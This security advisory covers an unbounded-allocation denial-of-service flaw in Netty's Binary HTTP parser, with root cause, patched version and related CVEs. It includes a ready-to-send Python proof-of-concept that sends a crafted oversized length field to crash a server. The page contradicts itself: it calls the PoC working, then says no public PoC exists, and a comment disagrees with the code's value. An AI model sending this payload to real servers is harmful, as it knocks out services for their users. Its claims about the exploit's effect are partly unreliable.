CVE-2026-61827: netty-incubator-codec-bhttp BinaryHttpParser Unbounded Memory Allocation (OOM)
An attacker can crash a server using Netty's Binary HTTP parser by sending a crafted message that claims a field is gigabytes long, causing the parser to buffer data indefinitely until the JVM runs…

The problem
The BinaryHttpParser in netty-incubator-codec-bhttp reads field lengths from attacker-controlled QUIC-style variable-length integers (up to 8 bytes, encoding values up to 2^62-1) without enforcing any upper bound.
Because the remote peer controls the encoded length, it can declare a header name, header value, scheme, authority, or path field to be many gigabytes long. The parser will attempt to buffer that many bytes in a Netty ByteBuf, consuming heap until an OutOfMemoryError is thrown.
No authentication is required.
Proof of concept
A working proof-of-concept for CVE-2026-61827 in io.netty.incubator:netty-incubator-codec-bhttp, with the exact payload below.
# Craft a minimal Binary HTTP request with an oversized field-length varint.
# Binary HTTP varints follow RFC 9000 s.16: prefix bits 11xxxxxx (8-byte form, max 2^62-1).
# Here we set the 'path' length field to 0x3FFFFFFFFFFFFFFF (the max 8-byte varint value)
# so the parser tries to allocate ~4.6 exabytes, triggering OOM long before that.
#
# Binary HTTP known-length request framing (RFC 9292):
# Framing-Indicator = 0x00 (known-length request)
# Method length + Method ("GET" = 0x03 0x47 0x45 0x54)
# Scheme length + Scheme ("https" = 0x05 ...)
# Authority length + Authority (0x00 = empty)
# Path length = ** 8-byte varint 0xFFFFFFFFFFFFFFFF claiming 4611686018427387903 bytes **
# (no actual path bytes follow; parser blocks waiting to buffer them)
import socket, struct
def quic_varint(n):
"""Encode n as a QUIC variable-length integer (RFC 9000 s.16)."""
if n < 64:
return bytes([n])
elif n < 16384:
return struct.pack('>H', 0x4000 | n)
elif n < 1073741824:
return struct.pack('>I', 0x80000000 | n)
else:
return struct.pack('>Q', 0xC000000000000000 | n)
framing = b'\x00' # known-length request
method = quic_varint(3) + b'GET'
scheme = quic_varint(5) + b'https'
authority = quic_varint(0)
# Claim the path is 2^62-1 bytes long; supply zero actual bytes.
# Parser calls ByteBuf.readBytes(4611686018427387903) -> OOM.
path_len = quic_varint(0x3FFFFFFFFFFFFFFF)
payload = framing + method + scheme + authority + path_len
# Send over whatever transport exposes BinaryHttpParser (e.g. raw TCP on port 8080)
with socket.create_connection(('target', 8080)) as s:
s.sendall(payload)
# Server worker thread now blocks in readBytes(), accumulating heap until OOMThe root cause is CWE-770 (Allocation of Resources Without Limits or Throttling). BinaryHttpParser.readRequestHead() decodes a varint for each field length and immediately passes it to ByteBuf.readBytes(length). Because the varint can legitimately encode values up to 2^62-1, and no cap was checked before allocation, a single malformed frame is enough to exhaust heap.
The 0.0.23.Final patch adds a maximum-allowed-length constant and throws a DecoderException before any allocation when the decoded varint exceeds that limit. Public PoC not yet available; payload derived from the Binary HTTP (RFC 9292) varint format documented in the advisory and the related GHSA-q8f2-hxq5-cp4h advisory for the same parser.
The fix
Upgrade io.netty.incubator:netty-incubator-codec-bhttp (and the parent netty-incubator-codec-ohttp bundle) to **0.0.23.Final**. There is no workaround short of rejecting Binary HTTP traffic at a layer above the Netty pipeline.
Related research
- high · 7.5CVE-2026-63124CVE-2026-63124: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS
- high · 7.5CVE-2026-63202CVE-2026-63202: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS
- high · 8.6CVE-2026-54609CVE-2026-54609: QTINeon NeonRelay Unauthenticated Amplification via Unbounded RECONNECT_REQUEST Forwarding
- high · 7.5CVE-2026-44891CVE-2026-44891: netty-codec-stomp Unbounded Header Count DoS